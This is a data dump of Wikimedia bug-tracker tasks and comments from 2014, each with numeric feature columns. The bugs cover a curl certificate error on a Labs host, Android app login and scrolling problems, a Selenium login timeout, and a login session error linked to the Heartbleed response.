0.0,0.6666666666666666,4.052845528455285,0.6341463414634146,"[16:00 UTC] cvn-apache5.eqiad.wmflabs$ bin/update
+ curl URL
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: URL

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

--------------------------
**Version**: unspecified
**Severity**: normal"
308043,WMFLabs: bin/curl says noc.wikimedia.org has invalid certificate,"IMHO this is not a problem with Labs, but noc.wikimedia.org; cf. for example http://www.sslshopper.com/ssl-checker.html#hostname=noc.wikimedia.org.  It should go away completely when bug #64484 is fixed.",,,1398534400,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xo5eguri365pln23x75,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,13.0,3.0,3.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7666666666666666,0.9333333333333333,"IMHO this is not a problem with Labs, but noc.wikimedia.org; cf. for example URL  It should go away completely when bug #64484 is fixed."
66407,Username in a failed login is still remembered and shown at the top of the left panel,"

--------------------------
**Version**: Android (alpha)
**Severity**: normal",Needs Triage,90.0,1398380460,1398601026.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-4ozjylj7gnsrzidrlua2,task_description,resolved,True,c3,1,False,False,True,-62,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.5714285714285714,"

--------------------------
**Version**: Android (alpha)
**Severity**: normal"
304412,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129947 abandoned by Yuvipanda:
Testing wikibugs

https://gerrit.wikimedia.org/r/129947",,,1398601139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.545454545454546,1.0,"Change 129947 abandoned by Yuvipanda:
Testing wikibugs

GERRIT_URL"
304409,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129947 had a related patch set uploaded by Yuvipanda:
Testing wikibugs

https://gerrit.wikimedia.org/r/129947",,,1398600986,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.9375,1.0,"Change 129947 had a related patch set uploaded by Yuvipanda:
Testing wikibugs

GERRIT_URL"
304405,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129608 merged by Dbrant:
Don't store user info if it was not a successful login

https://gerrit.wikimedia.org/r/129608",,,1398391075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 129608 merged by Dbrant:
Don't store user info if it was not a successful login

GERRIT_URL"
304399,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129608 had a related patch set uploaded by Yuvipanda:
Don't store user info if it was not a successful login

https://gerrit.wikimedia.org/r/129608",,,1398381226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.9615384615384616,"Change 129608 had a related patch set uploaded by Yuvipanda:
Don't store user info if it was not a successful login

GERRIT_URL"
66406,"The login form, registration form and registration captcha form are not scrollable","

--------------------------
**Version**: Android (alpha)
**Severity**: normal",Needs Triage,90.0,1398380160,1406911836.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_description,resolved,True,c3,1,False,False,True,-62,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.5714285714285714,"

--------------------------
**Version**: Android (alpha)
**Severity**: normal"
304347,"The login form, registration form and registration captcha form are not scrollable",Should be fixed in current production.,,,1406911836,,PHID-USER-pbvnfgskfwsdalhpd7np,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,Should be fixed in current production.
304343,"The login form, registration form and registration captcha form are not scrollable","(In reply to Dan Garry from comment #3)
> I can't reproduce this, as I can't get the pages to display enough content
> for the content to scroll off the page.
> 
> Can you provide a screenshot so I can see what's happening?
> 
> Thanks.

Use Hacker's Keyboard. There's an option in it to make it taller.

https://play.google.com/store/apps/details?id=org.pocketworkstation.pckeyboard",,,1399918650,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,33.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,12.0,26.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0714285714285716,0.6428571428571429,"(In reply to Dan Garry from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Use Hacker's Keyboard. There's an option in it to make it taller.

URL"
304340,"The login form, registration form and registration captcha form are not scrollable","I can't reproduce this, as I can't get the pages to display enough content for the content to scroll off the page.

Can you provide a screenshot so I can see what's happening?

Thanks.",,,1399916762,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,True,,,-60,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,14.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.558139534883721,0.7674418604651163,"I can't reproduce this, as I can't get the pages to display enough content for the content to scroll off the page.

Can you provide a screenshot so I can see what's happening?

Thanks."
304337,"The login form, registration form and registration captcha form are not scrollable","There's something wrong in edit preview, but I don't know how to describe it. Basically the viewport doesn't shrink after IME is shown.",,,1398468354,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,False,,,-62,True,0.0,3.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,3.0,0.0,14.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.896551724137931,0.9310344827586207,"There's something wrong in edit preview, but I don't know how to describe it. Basically the viewport doesn't shrink after IME is shown."
304332,"The login form, registration form and registration captcha form are not scrollable","When the viewport is not tall enough, some elements can't be seen.",,,1398467641,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,False,,,-62,True,7.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"When the viewport is not tall enough, some elements can't be seen."
65826,login method not honoring when_present timeout value,"In the mediawiki_selenium gem login_page.rb line 35 is: 

logout_element.when_present(10) if wait_for_logout_element

---

However, some tests clearly fail to honor the 10 second timeout value 

https://wmf.ci.cloudbees.com/job/browsertests-en.wikipedia.beta.wmflabs.org-windows-internet_explorer_10/578/testReport/(root)/Edit/Go_to_edit_page/

for example fails with 

timed out after 5 seconds, waiting for {:href=>/Special:UserLogout/, :tag_name=>""a""} to become present (Watir::Wait::TimeoutError)

and the gem login method is clearly being called correctly.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1397238300,1397470886.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-vvmukuprfip624x2xsc2,task_description,resolved,True,c3,1,False,False,True,-64,True,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,11.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,4.793478260869565,0.6739130434782609,"In the mediawiki_selenium gem login_page.rb line 35 is: 

logout_element.when_present(10) if wait_for_logout_element

---

However, some tests clearly fail to honor the 10 second timeout value 

URL

for example fails with 

timed out after 5 seconds, waiting for {:href=>/Special:UserLogout/, :tag_name=>""a""} to become present (Watir::Wait::TimeoutError)

and the gem login method is clearly being called correctly.

--------------------------
**Version**: unspecified
**Severity**: normal"
301784,login method not honoring when_present timeout value,"Change 125700 merged by Cmcmahon:
Login sometimes takes more than 5 seconds to complete

https://gerrit.wikimedia.org/r/125700",,,1397493335,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvmukuprfip624x2xsc2,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.833333333333333,1.0,"Change 125700 merged by Cmcmahon:
Login sometimes takes more than 5 seconds to complete

GERRIT_URL"
301779,login method not honoring when_present timeout value,"browsertests repo is using mediawiki_selenium 0.2.12[1][2] but the code you are referring to[3] is present in version 0.2.17.

Running ""bundle update"" should fix the problem[5].

1: https://github.com/wikimedia/qa-browsertests/blob/master/tests/browser/Gemfile.lock#L28
2: https://wmf.ci.cloudbees.com/job/browsertests-en.wikipedia.beta.wmflabs.org-windows-internet_explorer_10/578/console
3: https://github.com/wikimedia/mediawiki-selenium/commit/b01819473d2ecd88a3ad21307550345c46236e71
4: https://github.com/wikimedia/mediawiki-selenium/commit/bfcd98a861bd30f07faa0152a29d38fdf5117f6e
5: https://gerrit.wikimedia.org/r/#/c/125700/",,,1397470886,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-vvmukuprfip624x2xsc2,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,2.0,2.0,6.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.490566037735849,0.660377358490566,"browsertests repo is using mediawiki_selenium 0.2.12[1][2] but the code you are referring to[3] is present in version 0.2.17.

Running ""bundle update"" should fix the problem[5].

1: URL
2: URL
3: URL
4: URL
5: URL"
301774,login method not honoring when_present timeout value,"Change 125700 had a related patch set uploaded by Zfilipin:
Login sometimes takes more than 5 seconds to complete

https://gerrit.wikimedia.org/r/125700",,,1397470815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvmukuprfip624x2xsc2,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.695652173913044,1.0,"Change 125700 had a related patch set uploaded by Zfilipin:
Login sometimes takes more than 5 seconds to complete

GERRIT_URL"
65821,login error,"I see the error reported in bug 51789.
""No active login attempt is in progress for your session.""

I was logged out reading a wikimedia page in desktop mode.
I log in.
I am sent to mobile version and am shown that error.

The number of times I end up on mobile version is beyond a joke. I never ever ever want it. Especially when it doesnt work.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1397228460,1397668960.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-od5keszsq5rgwh2n75th,task_description,declined,True,c3,1,True,False,True,-64,True,0.0,0.0,0.0,1.5,0.0,4.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,7.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,2.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,9.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.5,1.0,0.5,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,6.5,7.5,0.0,0.0,1.0,0.0,6.5,0.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,3.4705882352941178,0.7156862745098039,"I see the error reported in bug 51789.
""No active login attempt is in progress for your session.""

I was logged out reading a wikimedia page in desktop mode.
I log in.
I am sent to mobile version and am shown that error.

The number of times I end up on mobile version is beyond a joke. I never ever ever want it. Especially when it doesnt work.

--------------------------
**Version**: unspecified
**Severity**: major"
301529,login error,Can only assume this was related to the heartbleed bug response. Please reopen if you can still replicate this.,,,1397668960,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.9047619047619048,Can only assume this was related to the heartbleed bug response. Please reopen if you can still replicate this.
301525,login error,"(In reply to John Mark Vandenberg from comment #3)
> Why unconfirming a bug?

Because nobody else has seen or reproduced it.",,,1397310488,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,17.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7083333333333335,1.0,"(In reply to John Mark Vandenberg from comment #3)
QUOTE

Because nobody else has seen or reproduced it."
301521,login error,"Please do not change status fields - see https://www.mediawiki.org/wiki/Bug_management/Bugzilla_etiquette
I marked as unconfirmed as we are currently able to replicate this and identify the problem. Back to my last question, is this still happening to you? If so are there steps you can use to reliably replicate it? Whilst it is only the MobileFrontend product it is unconfirmed. If we can replicate it and get to the bottom of it we can move it to another component and change the status there.

Adding Chris Steipp who may be able to comment on whether this was a one off and how it may have effected people.

PS. FYI the priority field is pretty much ignored on the MobileFrontend extension so setting it won't have any impact on planning or getting it resolved. I hadn't even noticed you'd set it so high until you just pointed it out.",,,1397266874,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,1.0,0.0,0.0,0.5,1.5,3.0,3.0,0.0,0.0,1.0,1.0,2.0,0.0,0.5,0.5,3.0,0.0,11.5,10.5,0.0,1.5,0.0,0.5,0.0,2.5,0.0,0.0,0.0,2.5,0.5,0.0,3.0,1.0,6.0,1.0,2.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,6.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.5,0.5,1.0,0.0,0.0,0.0,4.0,4.5,8.5,2.5,3.0,7.0,0.0,0.0,0.0,0.0,8.0,0.5,0.5,0.0,11.5,10.5,4.0,1.0,0.0,0.0,11.5,0.0,1.0,0.5,0.0,3.0,0.0,0.0,0.0,3.932098765432099,0.7037037037037037,"Please do not change status fields - see URL
I marked as unconfirmed as we are currently able to replicate this and identify the problem. Back to my last question, is this still happening to you? If so are there steps you can use to reliably replicate it? Whilst it is only the MobileFrontend product it is unconfirmed. If we can replicate it and get to the bottom of it we can move it to another component and change the status there.

Adding Chris Steipp who may be able to comment on whether this was a one off and how it may have effected people.

PS. FYI the priority field is pretty much ignored on the MobileFrontend extension so setting it won't have any impact on planning or getting it resolved. I hadn't even noticed you'd set it so high until you just pointed it out."
301516,login error,"Why unconfirming a bug?  If it isnt your department, it can be moved to a different component.

If it was due to the operations response, this is not the first time that passwords have been reset by the WMF, and it wont be the last.  The bug exists.  It needs to be fixed so it doesnt happen next time.

If you dont think it will be affecting a large number of people (do you have logs to see whether occurrence of this response has spiked?), drop the priority.",,,1397264990,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,2.0,0.5,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,7.0,2.0,4.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.5,0.5,0.5,0.0,0.0,9.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,2.5,0.0,1.0,0.5,0.0,0.0,5.5,5.0,4.5,4.0,0.5,7.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,7.0,9.0,0.5,1.5,0.0,0.0,7.0,0.0,1.0,2.0,0.0,1.5,0.0,0.0,0.0,3.418181818181818,0.7727272727272727,"Why unconfirming a bug?  If it isnt your department, it can be moved to a different component.

If it was due to the operations response, this is not the first time that passwords have been reset by the WMF, and it wont be the last.  The bug exists.  It needs to be fixed so it doesnt happen next time.

If you dont think it will be affecting a large number of people (do you have logs to see whether occurrence of this response has spiked?), drop the priority."
301509,login error,"I suspect this might be a side effect of http://blog.wikimedia.org/2014/04/10/wikimedias-response-to-the-heartbleed-security-vulnerability/

